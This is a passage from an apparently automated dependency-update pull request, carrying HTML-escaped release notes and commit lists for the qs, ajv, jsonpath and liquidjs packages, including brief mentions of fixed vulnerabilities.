\u003ccode\u003ecomma\u003c/code\u003e-parsed values\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: fix error message to reflect arrayLimit as max index; remove extraneous comments (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/545\"\u003e#545\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Robustness] avoid \u003ccode\u003e.push\u003c/code\u003e, use \u003ccode\u003evoid\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[readme] document that \u003ccode\u003eaddQueryPrefix\u003c/code\u003e does not add \u003ccode\u003e?\u003c/code\u003e to empty output (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/418\"\u003e#418\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[readme] clarify \u003ccode\u003eparseArrays\u003c/code\u003e and \u003ccode\u003earrayLimit\u003c/code\u003e documentation (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/543\"\u003e#543\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[readme] replace runkit CI badge with shields.io check-runs badge\u003c/li\u003e\n\u003cli\u003e[meta] fix changelog typo (\u003ccode\u003earrayLength\u003c/code\u003e → \u003ccode\u003earrayLimit\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003e[actions] fix rebase workflow permissions\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003cstrong\u003e6.14.1\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Fix] ensure \u003ccode\u003earrayLimit\u003c/code\u003e applies to \u003ccode\u003e[]\u003c/code\u003e notation as well\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: when a custom decoder returns \u003ccode\u003enull\u003c/code\u003e for a key, ignore that key\u003c/li\u003e\n\u003cli\u003e[Refactor] \u003ccode\u003eparse\u003c/code\u003e: extract key segment splitting helper\u003c/li\u003e\n\u003cli\u003e[meta] add threat model\u003c/li\u003e\n\u003cli\u003e[actions] add workflow permissions\u003c/li\u003e\n\u003cli\u003e[Tests] \u003ccode\u003estringify\u003c/code\u003e: increase coverage\u003c/li\u003e\n\u003cli\u003e[Dev Deps] update \u003ccode\u003eeslint\u003c/code\u003e, \u003ccode\u003e@ljharb/eslint-config\u003c/code\u003e, \u003ccode\u003enpmignore\u003c/code\u003e, \u003ccode\u003ees-value-fixtures\u003c/code\u003e, \u003ccode\u003efor-each\u003c/code\u003e, \u003ccode\u003eobject-inspect\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003cstrong\u003e6.14.0\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[New] \u003ccode\u003eparse\u003c/code\u003e: add \u003ccode\u003ethrowOnParameterLimitExceeded\u003c/code\u003e option (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/517\"\u003e#517\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Refactor] \u003ccode\u003eparse\u003c/code\u003e: use \u003ccode\u003eutils.combine\u003c/code\u003e more\u003c/li\u003e\n\u003cli\u003e[patch] \u003ccode\u003eparse\u003c/code\u003e: add explicit \u003ccode\u003ethrowOnLimitExceeded\u003c/code\u003e default\u003c/li\u003e\n\u003cli\u003e[actions] use shared action; re-add finishers\u003c/li\u003e\n\u003cli\u003e[meta] Fix changelog formatting bug\u003c/li\u003e\n\u003cli\u003e[Deps] update \u003ccode\u003eside-channel\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[Dev Deps] update \u003ccode\u003ees-value-fixtures\u003c/code\u003e, \u003ccode\u003ehas-bigints\u003c/code\u003e, \u003ccode\u003ehas-proto\u003c/code\u003e, \u003ccode\u003ehas-symbols\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[Tests] increase coverage\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003cstrong\u003e6.13.3\u003c/strong\u003e\u003c/h2\u003e\n\u003cp\u003e[Fix] fix regressions from robustness refactor\n[actions] update reusable workflows\u003c/p\u003e\n\u003ch2\u003e\u003cstrong\u003e6.13.2\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Robustness] avoid \u003ccode\u003e.push\u003c/code\u003e, use \u003ccode\u003evoid\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[readme] clarify \u003ccode\u003eparseArrays\u003c/code\u003e and \u003ccode\u003earrayLimit\u003c/code\u003e documentation (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/543\"\u003e#543\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[readme] document that \u003ccode\u003eaddQueryPrefix\u003c/code\u003e does not add \u003ccode\u003e?\u003c/code\u003e to empty output (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/418\"\u003e#418\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[readme] replace runkit CI badge with shields.io check-runs badge\u003c/li\u003e\n\u003cli\u003e[actions] fix rebase workflow permissions\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003cstrong\u003e6.13.1\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Fix] \u003ccode\u003estringify\u003c/code\u003e: avoid a crash when a \u003ccode\u003efilter\u003c/code\u003e key is \u003ccode\u003enull\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eutils.merge\u003c/code\u003e: functions should not be stringified into keys\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: avoid a crash with interpretNumericEntities: true, comma: true, and iso charset\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003estringify\u003c/code\u003e: ensure a non-string \u003ccode\u003efilter\u003c/code\u003e does not crash\u003c/li\u003e\n\u003cli\u003e[Refactor] use \u003ccode\u003e__proto__\u003c/code\u003e syntax instead of \u003ccode\u003eObject.create\u003c/code\u003e for null objects\u003c/li\u003e\n\u003cli\u003e[Refactor] misc cleanup\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/bdcf0c7f82387c18ac8fabfccd2f440645cef47b\"\u003e\u003ccode\u003ebdcf0c7\u003c/code\u003e\u003c/a\u003e v6.14.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/294db90c812ddbe7d7a35d5687c505fd21a2d6a2\"\u003e\u003ccode\u003e294db90\u003c/code\u003e\u003c/a\u003e [readme] document that \u003ccode\u003eaddQueryPrefix\u003c/code\u003e does not add \u003ccode\u003e?\u003c/code\u003e to empty output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/5c308e5516c270a78caa6f278465914090f91ec6\"\u003e\u003ccode\u003e5c308e5\u003c/code\u003e\u003c/a\u003e [readme] clarify \u003ccode\u003eparseArrays\u003c/code\u003e and \u003ccode\u003earrayLimit\u003c/code\u003e documentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/6addf8cf738d529c54d91f6f3ffb6c1be91bbfdc\"\u003e\u003ccode\u003e6addf8c\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003eparse\u003c/code\u003e: mark overflow objects for indexed notation exceeding \u003ccode\u003earrayLimit\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/cfc108f662326d6ab540f3545ef0b832baf83cdf\"\u003e\u003ccode\u003ecfc108f\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003earrayLimit\u003c/code\u003e means max count, not max index, in \u003ccode\u003ecombine\u003c/code\u003e/\u003ccode\u003emerge\u003c/code\u003e/`pars...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/febb64442a80e49200211fa38d3c96b58024ac77\"\u003e\u003ccode\u003efebb644\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003eparse\u003c/code\u003e: throw on \u003ccode\u003earrayLimit\u003c/code\u003e exceeded with indexed notation when `thr...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482\"\u003e\u003ccode\u003ef6a7abf\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003eparse\u003c/code\u003e: enforce \u003ccode\u003earrayLimit\u003c/code\u003e on \u003ccode\u003ecomma\u003c/code\u003e-parsed values\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/fbc5206c25b4d1851cea683f02c10756c521d15a\"\u003e\u003ccode\u003efbc5206\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003eparse\u003c/code\u003e: fix error message to reflect arrayLimit as max index; remove e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/1b9a8b4e78c6aff4c22fa559107227f02fd0216a\"\u003e\u003ccode\u003e1b9a8b4\u003c/code\u003e\u003c/a\u003e [actions] fix rebase workflow permissions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/2a35775614e0fb46ac8a3060201a32a7c23a7fda\"\u003e\u003ccode\u003e2a35775\u003c/code\u003e\u003c/a\u003e [meta] fix changelog typo (\u003ccode\u003earrayLength\u003c/code\u003e → \u003ccode\u003earrayLimit\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ljharb/qs/compare/v6.11.0...v6.14.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ajv` from 8.12.0 to 8.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ajv-validator/ajv/releases\"\u003eajv's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.18.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: allow tree-shaking by adding \u003ccode\u003e\u0026quot;sideEffects\u0026quot;: false\u003c/code\u003e to \u003ccode\u003epackage.json\u003c/code\u003e by \u003ca href=\"https://github.com/josdejong\"\u003e\u003ccode\u003e@​josdejong\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2480\"\u003eajv-validator/ajv#2480\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2482\"\u003e#2482\u003c/a\u003e Infinity and NaN serialise to null by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2487\"\u003eajv-validator/ajv#2487\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: small grammatical error in managing-schemas.md by \u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2508\"\u003eajv-validator/ajv#2508\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: typos in schema-language.md by \u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2507\"\u003eajv-validator/ajv#2507\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(pattern): use configured RegExp engine with $data keyword to mitigate ReDoS attacks (CVE-2025-69873) by \u003ca href=\"https://github.com/epoberezkin\"\u003e\u003ccode\u003e@​epoberezkin\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2586\"\u003eajv-validator/ajv#2586\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/josdejong\"\u003e\u003ccode\u003e@​josdejong\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2480\"\u003eajv-validator/ajv#2480\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2508\"\u003eajv-validator/ajv#2508\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/ajv-validator/ajv/compare/v8.17.1...v8.18.0\"\u003ehttps://github.com/ajv-validator/ajv/compare/v8.17.1...v8.18.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev8.17.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebump version to 8.17.1 by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2472\"\u003eajv-validator/ajv#2472\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/ajv-validator/ajv/compare/v8.17.0...v8.17.1\"\u003ehttps://github.com/ajv-validator/ajv/compare/v8.17.0...v8.17.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ePlus everything in 8.17.0 which failed to release\u003c/h2\u003e\n\u003cp\u003eThe only functional change is to switch from uri-js (which is no longer supported), to fast-uri. This is the second attempt and the team on fast-uri have been really helpful addressing the issues we found last time.\u003c/p\u003e\n\u003cp\u003eRevert \u0026quot;Revert fast-uri change (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2444\"\u003eajv-validator/ajv#2444\u003c/a\u003e)\u0026quot; by \u003ca href=\"https://github.com/gurgunday\"\u003e\u003ccode\u003e@​gurgunday\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2448\"\u003eajv-validator/ajv#2448\u003c/a\u003e\nfix: ignore new eslint error for \u003ccode\u003e@​typescript-eslint/no-extraneous-class\u003c/code\u003e by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2455\"\u003eajv-validator/ajv#2455\u003c/a\u003e\ndocs: clarify behaviour of addVocabulary by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2454\"\u003eajv-validator/ajv#2454\u003c/a\u003e\ndocs: refactor to improve legibility by \u003ca href=\"https://github.com/blottn\"\u003e\u003ccode\u003e@​blottn\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2432\"\u003eajv-validator/ajv#2432\u003c/a\u003e\nFix grammatical typo in managing-schemas.md by \u003ca href=\"https://github.com/wetneb\"\u003e\u003ccode\u003e@​wetneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2305\"\u003eajv-validator/ajv#2305\u003c/a\u003e\ndocs: Fix broken strict-mode link by \u003ca href=\"https://github.com/alexanderjsx\"\u003e\u003ccode\u003e@​alexanderjsx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2459\"\u003eajv-validator/ajv#2459\u003c/a\u003e\nfeat: add test for encoded refs and bump fast-uri by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2449\"\u003eajv-validator/ajv#2449\u003c/a\u003e\nfix: changes for \u003ccode\u003e@​typescript-eslint/array-type\u003c/code\u003e rule by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2467\"\u003eajv-validator/ajv#2467\u003c/a\u003e\nfixes \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2217\"\u003eajv-validator/ajv#2217\u003c/a\u003e - clarify custom keyword naming by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2457\"\u003eajv-validator/ajv#2457\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev8.17.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cp\u003eThe only functional change is to switch from uri-js (which is no longer supported), to fast-uri. This is the second attempt and the team on fast-uri have been really helpful addressing the issues we found last time.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;Revert fast-uri change (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2444\"\u003e#2444\u003c/a\u003e)\u0026quot; by \u003ca href=\"https://github.com/gurgunday\"\u003e\u003ccode\u003e@​gurgunday\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2448\"\u003eajv-validator/ajv#2448\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: ignore new eslint error for \u003ccode\u003e@​typescript-eslint/no-extraneous-class\u003c/code\u003e by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2455\"\u003eajv-validator/ajv#2455\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: clarify behaviour of addVocabulary by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2454\"\u003eajv-validator/ajv#2454\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: refactor to improve legibility by \u003ca href=\"https://github.com/blottn\"\u003e\u003ccode\u003e@​blottn\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2432\"\u003eajv-validator/ajv#2432\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix grammatical typo in managing-schemas.md by \u003ca href=\"https://github.com/wetneb\"\u003e\u003ccode\u003e@​wetneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2305\"\u003eajv-validator/ajv#2305\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Fix broken strict-mode link by \u003ca href=\"https://github.com/alexanderjsx\"\u003e\u003ccode\u003e@​alexanderjsx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2459\"\u003eajv-validator/ajv#2459\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add test for encoded refs and bump fast-uri by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2449\"\u003eajv-validator/ajv#2449\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: changes for \u003ccode\u003e@​typescript-eslint/array-type\u003c/code\u003e rule by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2467\"\u003eajv-validator/ajv#2467\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efixes \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2217\"\u003e#2217\u003c/a\u003e - clarify custom keyword naming by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2457\"\u003eajv-validator/ajv#2457\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/142ce84b807c4fe66e619c22480a28d0e4bd50fa\"\u003e\u003ccode\u003e142ce84\u003c/code\u003e\u003c/a\u003e 8.18.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/720a23fa453ffae8340e92c9b0fe886c54cfe0d5\"\u003e\u003ccode\u003e720a23f\u003c/code\u003e\u003c/a\u003e fix(pattern): use configured RegExp engine with $data keyword to mitigate ReD...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/82735a15826a30cc51e97a1bbfb59b3d388e4b98\"\u003e\u003ccode\u003e82735a1\u003c/code\u003e\u003c/a\u003e fix: typos in schema-language.md (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2507\"\u003e#2507\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/b17ec32cd97542e90ae27231d8a8bce88b9e53b6\"\u003e\u003ccode\u003eb17ec32\u003c/code\u003e\u003c/a\u003e fix: small grammatical error in managing-schemas.md (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2508\"\u003e#2508\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/69568d08564303e2c32a2de61feb833b41075f96\"\u003e\u003ccode\u003e69568d0\u003c/code\u003e\u003c/a\u003e fix: \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2482\"\u003e#2482\u003c/a\u003e Infinity and NaN serialise to null (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2487\"\u003e#2487\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/f06766f33ed7291f84c19f22a1286a34475fbdaf\"\u003e\u003ccode\u003ef06766f\u003c/code\u003e\u003c/a\u003e feat: allow tree-shaking by adding ``\u0026quot;sideEffects\u0026quot;: false\u003ccode\u003eto\u003c/code\u003epackage.json` ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/9050ba1359fb87cd7c143f3c79513ea7624ea443\"\u003e\u003ccode\u003e9050ba1\u003c/code\u003e\u003c/a\u003e bump version to 8.17.1 (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2472\"\u003e#2472\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/f7831b41c3a27064c6219f51a1e7371ffb582dfe\"\u003e\u003ccode\u003ef7831b4\u003c/code\u003e\u003c/a\u003e fixes \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2217\"\u003e#2217\u003c/a\u003e - clarify custom keyword naming (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2457\"\u003e#2457\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/a523784388a79ce65e42caf4d2731da36a94b386\"\u003e\u003ccode\u003ea523784\u003c/code\u003e\u003c/a\u003e fix: changes for \u003ccode\u003e@​typescript-eslint/array-type\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2467\"\u003e#2467\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/595fe58e64e8d5fb8a50fd7a58f9e7f3bcca0bac\"\u003e\u003ccode\u003e595fe58\u003c/code\u003e\u003c/a\u003e feat: add test for encoded refs and bump fast-uri (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2449\"\u003e#2449\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ajv-validator/ajv/compare/v8.12.0...v8.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `jsonpath` from 1.1.1 to 1.3.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/dchester/jsonpath/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `liquidjs` from 10.7.1 to 10.25.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/harttle/liquidjs/releases\"\u003eliquidjs's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.25.0\u003c/h2\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.24.0...v10.25.0\"\u003e10.25.0\u003c/a\u003e (2026-03-07)\u003c/h1\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003epath traversal vulnerability, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/851\"\u003e#851\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/855\"\u003e#855\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/3cd024d652dc883c46307581e979fe32302adbac\"\u003e3cd024d\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eexport error types, resolving \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/837\"\u003e#837\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/840\"\u003e#840\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/71aa1b1998a3a66e536af67c6ea8947a28616eaf\"\u003e71aa1b1\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.24.0\u003c/h2\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.23.0...v10.24.0\"\u003e10.24.0\u003c/a\u003e (2025-10-27)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efilters:\u003c/strong\u003e Add base64_encode and base64_decode filters for Shopify compatibility (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/828\"\u003e#828\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/86fc135d9ec0137689faf150535b9315e75ecc30\"\u003e86fc135\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.23.0\u003c/h2\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.22.0...v10.23.0\"\u003e10.23.0\u003c/a\u003e (2025-10-23)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExport specific tokens as types (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/824\"\u003e#824\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/4f7d2fd84a8884e1009b13346d331a99b9721149\"\u003e4f7d2fd\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.22.0\u003c/h2\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.21.1...v10.22.0\"\u003e10.22.0\u003c/a\u003e (2025-10-06)\u003c/h1\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003emath filters coerce invalid string to 0, \u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/813\"\u003e#813\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/819\"\u003e#819\u003c/a\u003e) (\u003ca 